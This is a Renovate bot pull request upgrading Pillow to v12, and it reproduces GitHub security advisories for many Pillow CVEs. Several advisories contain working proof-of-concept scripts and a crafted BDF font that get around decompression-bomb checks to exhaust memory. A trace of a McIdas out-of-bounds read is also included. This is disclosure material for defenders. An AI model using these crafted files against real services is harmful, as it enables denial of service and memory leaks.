Skip to content

Update dependency pillow to v12 [SECURITY] - autoclosed - #77

Closed
renovate[bot] wants to merge 1 commit into
devfrom
renovate/pypi-pillow-vulnerability
Closed

Update dependency pillow to v12 [SECURITY] - autoclosed#77
renovate[bot] wants to merge 1 commit into
devfrom
renovate/pypi-pillow-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Mar 13, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

PackageChangeAgeConfidence
pillow (changelog)==11.2.1==12.3.0ageconfidence

Pillow vulnerability can cause write buffer overflow on BCn encoding

CVE-2025-48379 / GHSA-xg8h-j46f-w952

More information

Details

There is a heap buffer overflow when writing a sufficiently large (>64k encoded with default settings) image in the DDS format due to writing into a buffer without checking for available space.

This only affects users who save untrusted data as a compressed DDS image.

  • Unclear how large the potential write could be. It is likely limited by process segfault, so it's not necessarily deterministic. It may be practically unbounded.
  • Unclear if there's a restriction on the bytes that could be emitted. It's likely that the only restriction is that the bytes would be emitted in chunks of 8 or 16.

This was introduced in Pillow 11.2.0 when the feature was added.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow affected by out-of-bounds write when loading PSD images

CVE-2026-25990 / GHSA-cfh3-3jmp-rvhc

More information

Details

Impact

An out-of-bounds write may be triggered when loading a specially crafted PSD image. Pillow >= 10.3.0 users are affected.

Patches

Pillow 12.1.1 will be released shortly with a fix for this.

Workarounds

Image.open() has a formats parameter that can be used to prevent PSD images from being opened.

References

Pillow 12.1.1 will add release notes at https://pillow.readthedocs.io/en/stable/releasenotes/index.html

Severity

  • CVSS Score: 8.6 / 10 (High)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


FITS GZIP decompression bomb in Pillow

CVE-2026-40192 / GHSA-whj4-6x5x-4v2j

More information

Details

Impact

Pillow did not limit the amount of GZIP-compressed data read when decoding a FITS image, making it vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation).

Patches

The amount of data read is now limited to the necessary amount.
Fixed in Pillow 12.2.0 (PR #​9521).

Workarounds

Avoid Pillow >= 10.3.0, < 12.2.0
Only open specific image formats, excluding FITS.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow has a heap buffer overflow with nested list coordinates

CVE-2026-42309 / GHSA-5xmw-vc9v-4wf2

More information

Details

Passing nested lists as coordinates to APIs that accept coordinates such as ImagePath.Path, ImageDraw.ImageDraw.polygon and ImageDraw.ImageDraw.line could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This was introduced in Pillow 11.2.1.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow)

CVE-2026-42311 / GHSA-pwv6-vv43-88gr

More information

Details

Impact

Processing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution.

Patches

Patched version: 12.2.0

Pillow 12.1.1 addressed CVE-2026-25990 by adding checks for tile extents in PSD image decoding/encoding to prevent an out-of-bounds write. However, the bounds checks computed tile extent sums using types susceptible to integer overflow, meaning a PSD image with carefully chosen tile dimensions could produce values that wrap around and bypass the checks, still triggering an out-of-bounds write in src/decode.c and src/encode.c. The fix avoids adding extents together before comparison.

Workarounds

Use any version but affected versions: >= 10.3.0, < 12.2.0

Resources

Severity

  • CVSS Score: 8.6 / 10 (High)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow has an integer overflow when processing fonts

CVE-2026-42308 / GHSA-wjx4-4jcj-g98j

More information

Details

If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow has a PDF Parsing Trailer Infinite Loop (DoS)

CVE-2026-42310 / GHSA-r73j-pqj5-w3x7

More information

Details

Impact

An attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive.

Patches

Patched version: 12.2.0.

PdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a
trailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a
longer cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an
error if a cycle is detected.

Workarounds

Use any version but the affected versions: >= 4.2.0, < 12.2.0

Resources

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow: FontFile.compile(): Image.new() called without _decompression_bomb_check()

CVE-2026-54060 / GHSA-5x94-69rx-g8h2

More information

Details

Description

PIL/FontFile.pyFontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

defcompile(self) ->None:
ifself.bitmap:
returnh=w=maxwidth=0lines=1forglyphinself.glyph: # up to 256 glyph slotsifglyph:
d, dst, src, im=glyphh=max(h, src[3] -src[1]) # max glyph height — attacker-controlledw=w+ (src[2] -src[0])
ifw>WIDTH: # WIDTH = 800lines+=1w=src[2] -src[0]
maxwidth=max(maxwidth, w)
xsize=maxwidth# ≤ 800 (capped by WIDTH constant)ysize=lines*h# ← lines(256) × h(65535) = 16,776,960ifxsize==0andysize==0:
returnself.ysize=h# NO _decompression_bomb_check() here ←self.bitmap=Image.new("1", (xsize, ysize)) # ← unchecked allocation

"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:

MetricPer-glyph (800 × 875)Combined bitmap (256 glyphs)
Pixel count700,000179,200,000
DecompressionBombWarning threshold (89.4M)0.008× — no warning2.0× — above warning
DecompressionBombError threshold (178.9M)0.004× — no error1.001× — above error

With PCF-maximum glyph height (65,535):

MetricValue
lines256 (one per glyph slot, width=800 forces a wrap every glyph)
h (max glyph height)65,535
xsize800
ysize = lines × h256 × 65,535 = 16,776,960
Total pixels800 × 16,776,960 = 13,421,568,000
Ratio vs. DecompressionBombError threshold75×
Memory (mode "1", 1 bit/pixel)~1.6 GB
Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3"""PoC: FontFile.compile() bomb bypass256 glyphs at 800x875 each (individually below warning threshold)→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check"""fromPILimportFontFile, ImageMAX_GLYPHS=256GLYPH_W=800GLYPH_H=875# individual: 700K px — below 89.4M warning thresholdclassMockFont(FontFile.FontFile):
def__init__(self):
super().__init__()
# Each glyph is individually safe (700K px < 89.4M warning)im=Image.new("1", (GLYPH_W, GLYPH_H))
foriinrange(MAX_GLYPHS):
self.glyph[i] = (
(GLYPH_W, GLYPH_H),
(0, -GLYPH_H, GLYPH_W, 0),
(0, 0, GLYPH_W, GLYPH_H),
im,
)
##### Confirm bomb check WOULD catch the combined sizecombined_size= (GLYPH_W, MAX_GLYPHS*GLYPH_H)
try:
Image._decompression_bomb_check(combined_size)
print("[FAIL] bomb check did not raise — unexpected")
exceptImage.DecompressionBombErrorase:
print(f"[OK] bomb check WOULD block {combined_size}: {e}")
##### Vulnerable path: compile() has NO bomb checkfont=MockFont()
font.compile() # → Image.new("1", (800, 224000)) — no error raisedpx=font.bitmap.size[0] *font.bitmap.size[1]
threshold=Image.MAX_IMAGE_PIXELS*2print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f" No DecompressionBombError raised at any point.")

Expected output:

[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
pixels=179,200,000 (1.001× DecompressionBombError threshold)
No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0 — compile() succeeds with no exception.

Real-world trigger using BDF font file:

fromPILimportBdfFontFileimportio##### Load a crafted BDF font with 256 glyphs each claiming height=65535##### (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)##### compile() combined: 800 × 16,776,960 = 13.4B px — 75× error thresholdfont=BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check

Attack scenarios:

ScenarioEffect
Web font preview (BdfFontFile(upload).to_imagefont())DoS with crafted .bdf upload
Server-side font renderer that loads PCF → to_imagefont()OOM crash
Font pipeline: load → render textOne malicious font file kills the process
Impact
  • Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.
  • Confidentiality: None
  • Integrity: None

Affected call paths:

  • BdfFontFile.BdfFontFile(fp).to_imagefont()FontFile.compile()
  • BdfFontFile.BdfFontFile(fp).save(filename)FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).to_imagefont()FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).save(filename)FontFile.compile()

Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.

Confirmed unpatched on python-pillow/Pillowmain branch as of 2026-06-08.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)

CVE-2026-54058 / GHSA-62p4-gmf7-7g93

More information

Details

Summary

When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysize*stride <= buffer_len but never checks that stride is at least the natural row width xsize * pixelsize.

The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsize*pixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(),
getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).

Complete Code Trace

Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation.

##### src/PIL/McIdasImagePlugin.py:41-70s=self.fp.read(256)
ifnot_accept(s) orlen(s) !=256: # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"raiseSyntaxError(...)
self.area_descriptor=w= [0, *struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlledifw[11] ==1:
mode=rawmode="L"# pixelsize 1, in _MAPMODESelifw[11] ==2:
mode=rawmode="I;16B"# pixelsize 2, in _MAPMODES
...
self._mode=modeself._size=w[10], w[9] # (xsize, ysize) <-- attackeroffset=w[34] +w[15] # <-- attackerstride=w[15] +w[10] *w[11] *w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1)self.tile= [
ImageFile._Tile("raw", (0, 0) +self.size, offset, (rawmode, stride, 1))
]

Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer.

##### src/PIL/ImageFile.py:322-348ifuse_mmap: # use_mmap = self.filename and len(self.tile) == 1decoder_name, extents, offset, args=self.tile[0]
if (decoder_name=="raw"andisinstance(args, tuple) andlen(args) >=3andargs[0] ==self.modeandargs[0] inImage._MAPMODES):
ifoffset<0: # only lower-bound guard on offsetraiseValueError("Tile offset cannot be negative")
withopen(self.filename) asfp:
self.map=mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
ifoffset+self.size[1] *args[1] >self.map.size(): # == offset + ysize*stride; NO stride>=linesize checkraiseOSError("buffer is not large enough")
self.im=Image.core.map_buffer(
self.map, self.size, decoder_name, offset, args# args = ("L", stride, 1)
)

Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.

/* src/map.c:65-140 */if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
&target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
returnNULL;
...
constModeIDmode=findModeID(mode_name); /* "L" */if (stride <= 0) { /* attacker sets stride=1 (>0) -> NOT recomputed */if (mode==IMAGING_MODE_L||mode==IMAGING_MODE_P) stride=xsize;
elseif (isModeI16(mode)) stride=xsize*2;
elsestride=xsize*4;
}
if (stride>0&&ysize>PY_SSIZE_T_MAX / stride) {/* overflow guard only */PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); returnNULL;
}
size= (Py_ssize_t)ysize*stride; /* = 1*1 = 1 */if (offset>PY_SSIZE_T_MAX-size) { ... }
...
if (offset+size>view.len) { /* 1 + 1 = 2 <= 256 -> PASSES */PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
PyBuffer_Release(&view); returnNULL;
}
im=ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000 (the REAL per-row read width) *//* setup file pointers -- NO check that stride >= im->linesize */if (ystep>0) {
for (y=0; y<ysize; y++) {
im->image[y] = (char*)view.buf+offset+y*stride; /* row points into mmap, spacing=1 */
}
} else { ... }

im->linesize (the number of bytes any consumer reads per row) is xsize * pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysize*stride = 2 bytes "claimed". Nothing reconciles the two.

Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.

/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y]; for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */
Chain Summary
SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path)
↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66]
↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len <- BUG: no stride>=linesize check [ImageFile.py:343]
↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize [map.c:134]
↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)
Proof of Concept

See attached poc.zip

Impact on a Parent Application

Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:

  • Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
  • Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS.
Suggested fix

Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize .

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow PcfFontFile._load_bitmaps(): Image.frombytes() called without _decompression_bomb_check() — bomb protection bypass via PCF font loading

CVE-2026-54059 / GHSA-8v84-f9pq-wr9x

More information

Details

Description

PIL/PcfFontFile.py_load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

xsize = right - left (max: 65535 − 0 = 65535)
ysize = ascent + descent (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

foriinrange(nbitmaps):
xsize, ysize=metrics[i][:2] # from PCF METRICS — attacker-controlledb, e=offsets[i : i+2]
bitmaps.append(
Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
# ↑ NO _decompression_bomb_check()!
)

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

  • Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
  • Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond
Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""importio, struct, tracemalloc, warningswarnings.filterwarnings("ignore")
fromPIL.PcfFontFileimportPcfFontFilefromPIL.Imageimport_decompression_bomb_check, DecompressionBombWarning, DecompressionBombErrorW, H=14000, 14000# 196M pixels → above DecompressionBombError threshold##### Show what Image.open() would dowarnings.filterwarnings("error", category=DecompressionBombWarning)
try:
_decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) ase:
print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")
##### PCF binary constantsPCF_MAGIC=0x70636601PCF_PROPS=1<<0PCF_METRICS=1<<2PCF_BITMAPS=1<<3PCF_ENCODINGS=1<<5defbuild_bomb_pcf(xsize, ysize):
# Properties: emptyprops=struct.pack("<III", 0, 0, 0)
# Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descentmetrics=struct.pack("<II", 0, 1)
metrics+=struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
# Bitmaps: 1 glyph, empty data (transient attack)bitmaps=struct.pack("<II", 0, 1)
bitmaps+=struct.pack("<I", 0) # offset[0] = 0bitmaps+=struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0# Encodings: char 0x41 ('A') → glyph 0enc_offsets= [0xFFFF]*65+ [0] + [0xFFFF]*62encodings=struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
encodings+=struct.pack("<"+"H"*128, *enc_offsets)
secs= [(PCF_PROPS, props), (PCF_METRICS, metrics),
(PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
hdr_size=4+4+len(secs) *16out=struct.pack("<II", PCF_MAGIC, len(secs))
offset=hdr_sizeforstype, sdatainsecs:
out+=struct.pack("<IIII", stype, 0, len(sdata), offset)
offset+=len(sdata)
for_, sdatainsecs:
out+=sdatareturnoutpcf=build_bomb_pcf(W, H)
print(f"[*] PCF file size : {len(pcf)} bytes")
print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")
tracemalloc.start()
try:
font=PcfFontFile(io.BytesIO(pcf))
_, peak=tracemalloc.get_traced_memory()
tracemalloc.stop()
print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
exceptExceptionase:
_, peak=tracemalloc.get_traced_memory()
tracemalloc.stop()
print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
print(f" Heap peak: {peak/1024**2:.2f} MB")
print(f" C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size : 148 bytes
[*] Glyph size : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target : 23 MB (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF fileGlyph dimsC-heap (mode '1')Bomb check
148 bytes14000 × 1400023 MB (transient)Bypassed
148 bytes65535 × 1310701.07 GB (transient)Bypassed
~512 MB65535 × 1310701.07 GB (persistent)Bypassed
Impact
  • Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
  • Confidentiality: None
  • Integrity: None
  • Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
  • PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
  • Confirmed unpatched on python-pillow/Pillowmain branch as of 2026-06-07

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow BdfFontFile: Image.new() called without _decompression_bomb_check() — bomb protection bypass via font loading

CVE-2026-55379 / GHSA-45hq-cxwh-f6vc

More information

Details

Summary

PIL/BdfFontFile.pybdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88):

##### width, height from attacker-controlled "BBX width height x y" linetry:
im=Image.frombytes("1", (width, height), bitmap, "hex", "1")
exceptValueError:
# TRIGGERED when BITMAP section is empty (zero hex lines)im=Image.new("1", (width, height)) # ← NO _decompression_bomb_check()!# ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes):

STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT

Proof of Concept script:

#!/usr/bin/env python3"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""importio, warningswarnings.filterwarnings("ignore")
fromPIL.BdfFontFileimportBdfFontFilefromPIL.Imageimport_decompression_bomb_check, DecompressionBombWarning, DecompressionBombErrorW, H=20000, 20000# 400M pixels → above DecompressionBombError threshold##### Show what Image.open() would dowarnings.filterwarnings("error", category=DecompressionBombWarning)
try:
_decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) ase:
print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")
##### Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb checkbdf=f"""STARTFONT 2.1SIZE 16 75 75FONTBOUNDINGBOX 16 16 0 -4STARTPROPERTIES 1COMMENT xENDPROPERTIESCHARS 1STARTCHAR AENCODING 65SWIDTH 500 0DWIDTH 8 0BBX {W}{H} 0 0BITMAPENDCHARENDFONT""".encode()
print(f"[*] BDF file size : {len(bdf)} bytes")
print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")
BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f" Image.open() path would have raised DecompressionBombError")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size : 270 bytes
[*] Glyph size : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target : 47 MB (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact
  • Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
  • Confidentiality: None
  • Integrity: None
  • Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected
  • Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collected

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow GdImageFile._open(): image dimensions accepted without _decompression_bomb_check()

CVE-2026-55380 / GHSA-phj9-mv4w-65pm

More information

Details

Description

PIL/GdImageFile.pyGdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

def_open(self) ->None:
s=self.fp.read(1037)
ifi16(s) notin [65534, 65535]:
raiseSyntaxError("Not a valid GD 2.x .gd file")
self._mode="P"self._size=i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each# NO _decompression_bomb_check() call here ←
...
self.tile= [ImageFile._Tile("raw", (0, 0) +self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535))
##### ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

FieldValue
Maximum width from header65,535 (unsigned 16-bit)
Maximum height from header65,535 (unsigned 16-bit)
Maximum pixel count65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio24× above DecompressionBombError threshold
Memory at max dimensions≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

##### PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)self._size=i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size) # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3"""PoC: GdImageFile decompression bomb bypass1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check"""importio, structfromPILimportGdImageFile, Image##### Build minimal 1037-byte GD 2.x palette-mode header:##### sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)sig=struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magicw=struct.pack(">H", 65535) # max widthh=struct.pack(">H", 65535) # max heighttrue_color=b"\x00"# 0 = palette modetindex=struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparencycolors_used=b"\x00\x00"palette_data=b"\x00"*1024header=sig+w+h+true_color+tindex+colors_used+palette_dataassertlen(header) ==1037##### Confirm: standard Image.open() path BLOCKS this sizetry:
Image._decompression_bomb_check((65535, 65535))
exceptImage.DecompressionBombErrorase:
print(f"[BLOCKED] Image.open() path: {e}")
##### Vulnerable path: GdImageFile.open() has NO bomb checkimg=GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked")
##### Trigger load_prepare() → Image.core.new("P", (65535, 65535))try:
img.load()
exceptOSError:
print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted")
print(f"\n[MATH] {65535*65535:,} pixels = {65535*65535/ (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH] Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
